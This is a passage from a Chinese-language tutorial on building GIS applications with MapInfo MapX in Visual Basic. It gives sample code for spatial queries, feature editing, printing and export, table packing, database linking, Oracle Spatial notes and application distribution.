<P>2、 空间查找 <BR>&sup2; 点查找：SearchAtPoint，结果集为Features类型 <BR>Dim Pnt AS MapXlib.Point </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Pnt.Set X,Y <BR>Set Ftrs=Lyr.SearchAtPoint(Pnt,miSearchResultAll) <BR>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; ‘执行语句 <BR>Next <BR>注意：点查找时，一般情况下结果集在一个以上的图层都存在。所以取值时应分别提取 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>&sup2; 园查找：在临时图层上画一个不保存的圆，然后查找被这个圆所包含的所有图层的图元对象。 <BR>Dim Pnt AS MapXlib.Point <BR>Dim TempCir AS MapXlib.Feature <BR>Dim FeaFac AS MapXLIB.featurefactory </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Pnt.Set X,Y <BR>Set tempcir=FeaFac.CreateCircularRegion(miCircleTypeMap ,Pnt,1, MainMap.MapUni<BR>t,,) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘miSearchTypeCentroidWithin ：中心点包含 <BR>‘miSearchTypePartiallyWithin ：部分包含 <BR>‘miSearchTypeEntirelyWithin ：全部包含 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set Ftrs=Lyr.SearchWithinFeature (TempCir, miSearchTypePartiallyWithin) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; ‘执行语句 <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET Pnt =Nothing <BR>set TempCir =Nothing <BR>set FeaFac =Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>3、 相交 <BR>判断两个图元是否有交点以及交点坐标信息。 <BR>（1）判断是否相交 <BR>IF Lyr.IntersectionTest( ftr1, ftr2, miIntersectFeature ) THEN <BR>&nbsp;&nbsp; ‘交点 <BR>END IF </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2）获取相交点坐标信息 <BR>‘交点 <BR>Dim Ftr AS MapXlib.Feature </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET Ftr=MainMap.FeatureFactory. IntersectFeatures(Ftr1,Ftr2) <BR>‘交点坐标信息 <BR>For J=1 to Ftr.parts.item(1).count <BR>&nbsp;&nbsp;&nbsp; X1= Ftr.parts.item(1).Item(J).X <BR>&nbsp;&nbsp;&nbsp; Y1= Ftr.parts.item(1).Item(J).Y <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>4、 测距 <BR>使用Map对象的Distance方法。如何测量任意多边形的周长？ <BR>使用累加的方法，还要使用图元节点集合。 <BR>DistanceValue=0 <BR>‘第一个点 <BR>Pnt.Set Ftr.Parts.Item(1).Item(1).X, Ftr.Parts.Item(1).Item(1).Y <BR>For j=2 TO Ftr.Parts.Item(1).Count <BR>&nbsp;&nbsp; ‘累加 <BR>&nbsp;&nbsp; X1= Ftr.Parts.Item(1).Item(j-1).X <BR>&nbsp;&nbsp; Y1= Ftr.Parts.Item(1).Item(j-1).Y <BR>&nbsp;&nbsp; X2= Ftr.Parts.Item(1).Item(j).X <BR>Y2= Ftr.Parts.Item(1).Item(j).Y <BR>&nbsp;&nbsp; DistanceValue = DistanceValue +MainMap.Distance(X1, Y1, X2, Y2) <BR>Next <BR>‘多边形周长 <BR>Msgbox DistanceValue+” ”+MainMap.MapUnit </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>四、对象编辑 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（1）、对属性的编辑 <BR>主要使用Fields对象。示例： <BR>Dim Flds AS MapXlIB.Fields </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘修改当前图层的每一个字段 <BR>For J=1 to Flds.Count <BR>Lyr.KeyField= Flds.Item(j).Name ‘使当前图层指向J字段 <BR>&nbsp; ‘更新当前图元的J字段值 <BR>&nbsp; Ftr.KeyValue=NewValueStr(J) <BR>&nbsp; Ftr.Update True&nbsp;&nbsp;&nbsp; ‘并未写入硬盘 <BR>Next <BR>Lyr.Refresh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘保存修改到硬盘 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2）、移动地图 <BR>首先创建一个移动工具句柄 <BR>MainMap.CreateCustomTool MoveFeature, miToolTypeLine, miPanCursor <BR>在Map对象的ToolUsed事件的ToolNum参数为当前所激活的工具捕捉MoveFeature工具句柄‘传过来的参数：X1，Y1，X2，Y2 <BR>Select case ToolNum <BR>&nbsp;&nbsp; …….. <BR>&nbsp;&nbsp; Case&nbsp; MoveFeature <BR>Dim Lyr AS MapXlib.Layer <BR>Dim Ftr AS MapXlib.Feature <BR>Dim Ftrs AS MapXlib.Features </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Dim Xe,Ye AS Double&nbsp;&nbsp;&nbsp;&nbsp; ‘坐标偏移量 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Xe=X2-X1 <BR>Ye=Y2-Y1 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set Lyr=Mainmap.Layers.Item(LayerName) <BR>Set Ftrs=Lyr.Selection.Clone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘将当前图层中选定的集合复制到Ftrs变量中 <BR>MainMap.AutoRedraw=False <BR>Lyr.Editable=True <BR>For J=1 to Ftrs.Count <BR>&nbsp;&nbsp; Set Ftr=Ftrs.Item(J) <BR>&nbsp;&nbsp; Ftr.Offset Xe,Ye <BR>&nbsp;&nbsp; Ftr.Update True <BR>Next <BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AutoRedraw=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET lyr=Nothing <BR>SET Ftr=Nothing <BR>End Select <BR>（3）、样式更新 <BR>&nbsp;Dim NewStyle AS MapXLib.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘初始赋值 <BR>Set Lyr=MainMap.Layers.Item(LayerName) <BR>Set Ftrs=Lyr.AllFeatures <BR>Set NewStyle=Ftrs.Item(1).Style <BR>‘设置样式 <BR>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .SymbolType = miSymbolTypeBitmap <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapSize = 24 <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapTransparent = False <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>‘更新 <BR>MainMap.AutoRedraw=False <BR>Lyr.Editable=True <BR>SET Ftr.Style=NewStyle <BR>Ftr.Update True <BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AutoRedraw=True</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>五、输出 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>1、属性的输出&nbsp;&nbsp; 输出到EXCEL表： <BR>For I=1 to Flds.Count <BR>Lyr.KeyFields=Flds.Item(i).Name <BR>Excel(1,I).Cell=Ftr.KeyValue <BR>Next <BR>2、复制、粘贴 <BR>Global CopyFtrs AS MapXlib.Features </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set lyr=mainmap.Layers.item(LayerName) <BR>Set Ftrs=Lyr.Selection.Clone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘复制选中集合 <BR>‘复制 <BR>For I=1 to Ftrs.Count <BR>CopyFtrs.add Ftrs.Item(I) <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘粘贴（图形） <BR>Set lyr_1=mainmap.Layers.item(LayerName_1) <BR>Mainmap.AutoRedraw=False <BR>Lyr_1.Editabled=True <BR>For J=1 to CopyFtrs.Count <BR>&nbsp;&nbsp; Lyr_1.AddFeature CopyFtrs.Item(J) <BR>Next <BR>Lyr_1.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr_1.Editabled=False </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>3、地图的打印 <BR>&nbsp; Dim iScaleMode As Integer </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; iScaleMode = MainMap.Container.ScaleMode <BR>&nbsp; MainMap.Container.ScaleMode = 6 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; On Error GoTo PrinterError <BR>&nbsp;&nbsp; <BR>&nbsp; Printer.Print " " <BR>&nbsp; Printer.CurrentX = 0 <BR>&nbsp; Printer.CurrentY = 0 <BR>&nbsp; MainMap.PrintMap Printer.hDC, 0, 0, MainMap.Width * 100, MainMap.Height * 10<BR>0 <BR>&nbsp; Printer.NewPage <BR>&nbsp; Printer.EndDoc <BR>&nbsp; MainMap.Container.ScaleMode = iScaleMode <BR>&nbsp; Exit Sub <BR>&nbsp;&nbsp; <BR>PrinterError: <BR>&nbsp; If Err.Number = 482 Then <BR>&nbsp;&nbsp;&nbsp;&nbsp; On Error Resume Next <BR>&nbsp;&nbsp;&nbsp;&nbsp; CommonDialog1.Flags = &H40 <BR>&nbsp;&nbsp;&nbsp;&nbsp; CommonDialog1.ShowPrinter <BR>&nbsp; Else <BR>&nbsp;&nbsp;&nbsp;&nbsp; MsgBox "&nbsp;&nbsp;&nbsp; 打印机存在错误，请更正后重试。错误号：" + (Str(Err.Number)), <BR>, "失败" <BR>&nbsp; End If <BR>&nbsp;&nbsp; </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>4、另存为图片文件 <BR>MainMap.ExportMap(App.Path+”Images”, miFormatJPEG)&nbsp;&nbsp; ‘输出当前地图窗口 <BR>参数设置：MainMap.ExportSelection=True&nbsp;&nbsp; ‘将选中部分以不同于其他未选中地图部分<BR>形式输出</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>六、专题图 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>6种专题图：除独立值专题图绑定的字段类型可以是字符的以外，都必须是数字类型。与其<BR>他数据源绑定时，使用ODBC <BR>调用ThemeDlg对话框可以让用户自己定义专题图。示例： <BR>For Each ftr In lyr.Selection <BR>&nbsp;' The children of the layer are the individual <BR>&nbsp;' features </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;Set ftrNode = QueryTree.Nodes.Add(lyrNode, tvwChild,lyr.Name _ </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;& ftr.Name & Str$(ftr.FeatureID), ftr.Name) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;For Each fld In ds.Fields </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; ' Each feature has data attached to it; add&nbsp; this data as a child of the feature </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; lyr.KeyField = fld.Name </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; QueryTree.Nodes.Add ftrNode, tvwChild, , lyr.KeyField _ </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; & ": " & ftr.KeyValue </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Next&nbsp;&nbsp; <BR>七、在MapX下紧缩表 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>在Professional里面，紧缩表用 Pack Table 语句完成。而在MapX中则需要使用临时图层<BR>，并用复制技术来完成。示例： <BR>‘紧缩当前Map对象中的所有图层 <BR>&nbsp;&nbsp; Dim LayerInfo As New MapXLib.LayerInfo <BR>&nbsp;&nbsp; Dim Lyr As MapXLib.Layer <BR>&nbsp;&nbsp; Dim LyrTemp As MapXLib.Layer <BR>&nbsp;&nbsp; Dim Flds As MapXLib.Fields <BR>&nbsp;&nbsp; Dim Ds As MapXLib.Dataset <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; Dim I As Integer <BR>&nbsp;&nbsp; Dim LayerName, FilePath As String <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; On Error Resume Next <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; For I = MainMap.Layers.Count To 1 Step -1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;复制源表数据到临时表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Lyr = MainMap.Layers.Item(I) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Ds = Lyr.Datasets.Item(1) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Flds = Ds.Fields <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerName = Lyr.Name <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.Type = miLayerInfoTypeTemp <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "FileSpec", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Features", Lyr.AllFeatures‘复制所有有效图元 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Fields", Flds&nbsp;&nbsp;&nbsp; ’复制字段列表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "AutoCreateDataset", 1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "datasetname", LayerName <BR>Set LyrTemp = MapTemp.Layers.Add(LayerInfo, 1)&nbsp;&nbsp;&nbsp; ‘复制到另外Map对象 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;删除源表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Lyr = Nothing <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FilePath = MainMap.Layers.Item(I).Filespec <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerName = Mid(FilePath, InStr(1, FilePath, "Maps") + 6, Len(FilePath) <BR>- InStr(1, FilePath, "Maps")) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FilePath = Mid(FilePath, 1, InStr(1, FilePath, "Maps") + 5) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerName = Mid(LayerName, 1, Len(LayerName) - 4) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MainMap.Layers.Remove (I) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MainMap.Refresh <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kill FilePath + LayerName + ".TAB" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;复制临时表数据到源表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set LyrTemp = MapTemp.Layers.Item(LayerName) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.Type = miLayerInfoTypeNewTable <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "FileSpec", FilePath + LayerName + ".TAB" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Features", LyrTemp.AllFeatures <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "Fields", Flds <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "AutoCreateDataset", 1 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LayerInfo.AddParameter "datasetname", LayerName <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;删除临时表 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MapTemp.Layers.Remove (MapTemp.Layers.Count) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MapTemp.Refresh <BR>&nbsp;&nbsp; Next <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; Set Lyr = Nothing <BR>&nbsp;&nbsp; Set Ds = Nothing <BR>&nbsp;&nbsp; Set Flds = Nothing <BR>&nbsp;&nbsp; Set LayerInfo = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>八、如何和大型数据库关联 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>系统是混合结构：对地图的访问使用的是文件访问方式，对属性数据的访问使用的是大型数据库形式使用ID关联：在TAB表和数据库中有ID字段，两个字段作为唯一值关联字段。（一对一的关系）。示例： </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.KeyField=”ID” <BR>Set Ftr=Ftrs.Item(J) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘SQL语句查找对应的属性信息 <BR>SampleAdo.RecordSource =”Select a.id as id,b.name as name from Table1 a, Tabl<BR>e2 b WHERE (a.id=b.id) AND ( a.id LIKE ‘%“ +Ftr.KeyValue+“%’)”</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>九、空间数据库 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>’空间数据库中的索引技术用的是R_Tree技术，而不是原来一般意义上的B_Tree索引技术。 <BR>’空间数据在Spatial中以地理属性信息形式存放。 <BR>’在Oracle的版本中有如下需要注意事项： <BR>a) Oracle 8.1.5这个版本中，首次引入Spatial组件。使用上非常不好：图形的样式非常单一，且为黑白的而非彩色，上载地图数据时，数据丢失非常严重。存取数据时非常慢。在Spatial中自动创建prinx字段作为地图索引主关键字段 <BR>b) Oracle 8.1.6版本：图形为彩色的，增加了样式的支持，但不支持同一图层下的多样式（主要指点对象）。创建地图数据时，地图的坐标常发生偏移。属性数据更新时，需要两次刷新才能完整提交；地图数据数据提交时，其坐标发生偏移：向原点偏移，需要认为地单独将其移动到其初始创建位置。存取速度上还是比较慢，离实用尚有一定距离。在Spatial中自动创建mi_prinx字段作为地图索引主关键字段 <BR>&sup2; Oracle 8.1.7版本：支持多样式，数据上载丢失非常小（只有文本对象存在丢失的记录）。在地图数据存取不是很大的时候，速度上可以被用户接受。 <BR>&sup2; 如何将MapInfo 的TAB表内容上传到Oracle 中？ <BR>a) 免费工具：easyloader6.7（Oracle 8.1.7），下载地址：<A href="http://www.mapinfo.com.cn/" target=_blank><U><FONT color=#0000ff>www.mapinfo.com.cn</FONT></U></A> <BR>b) 如何上载？注意：上载之前对Tab表进行紧缩。 <BR>c) 在程序中如何使用空间数据库中的地图数据？ <BR>d) 添加地图时，必须指定字段mi_prinx的明确值，且该值不能为表中已存在的值。写入地图数据时，应将其全部NOT NULL 字段值赋给，否则保存失败。 <BR>e) 示例：Tab表+空间数据表 的数据分布形式。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>十、GIS应用的分发 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>1、 制作你自己的系统的安装盘：可执行文件、必要系统文件、运行库文件、其他数据文件。 <BR>2、 单独的MapX安装盘：MapInfo MapX Runtime安装程序，实际上是MapX控件安装程序（存在于MapX sdk包） <BR>3、 注册：安装完成以后，运行GeosetManager40.exe程序获得硬件ID号，然后通过EMAIL的形式将该ID号发送到MapX产品供应商申请正式的许可文件（mapx40.lic）。获得后覆盖原mapx40.lic文件即可。注意：硬盘格式化后该ID号失效。</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>十一、构造一个GIS应用系统 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>需求：鹰眼功能、拓扑关系、不同图形不同颜色表现、数据绑定、系统性能。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>结构分析：做基于TAB文件的GIS系统 <BR>1、 鹰眼功能 <BR>（1） 建立两个Form对象，将两个Map对象分别放在这两个窗口对象中。 <BR>（2） 一个小窗口作为鹰眼窗口，大 窗口作为主地图窗口。鹰眼窗口中的Map对象的视野应很大，而主地图窗口的视野根据需要设置。 <BR>（3） 两个窗口中加载不同的GST文件。需要的是主地图窗口的显示范围应为鹰眼窗口中某个矩形所包含的地图对象范围。 <BR>（4） A、在鹰眼窗口中画一个矩形（Rect为矩形对象），B、主地图窗口执行 Set MainMap.Bounds = Rect <BR>（5） 需要注意的是：鹰眼窗口与主地图窗口两者间的坐标投影系统应完全一致。 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>2、 拓扑关系 <BR>实际上就是图元与图元的空间关系。说历史：原来建立拓扑关系使用的是属性关联。 <BR>点查询、圆查询、矩形查询、多边形查询等这些是属于简单空间关系的对比。而对拓扑关系的查询多数情况下使用Parts对象来解决。 <BR>Ftr1与另一个Ftr2的空间关联：先找到Ftr1的其止节点，然后以这个节点为中心画一个非常小的圆，在这个圆范围内的某个设备可认为与该Ftr1相连。 <BR>判断某个图元在指定图层上的相交对象集合： <BR>Set Ftrs=Lyr.SearchWithinFeature (SearchFtr, miSearchTypePartiallyWithin) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
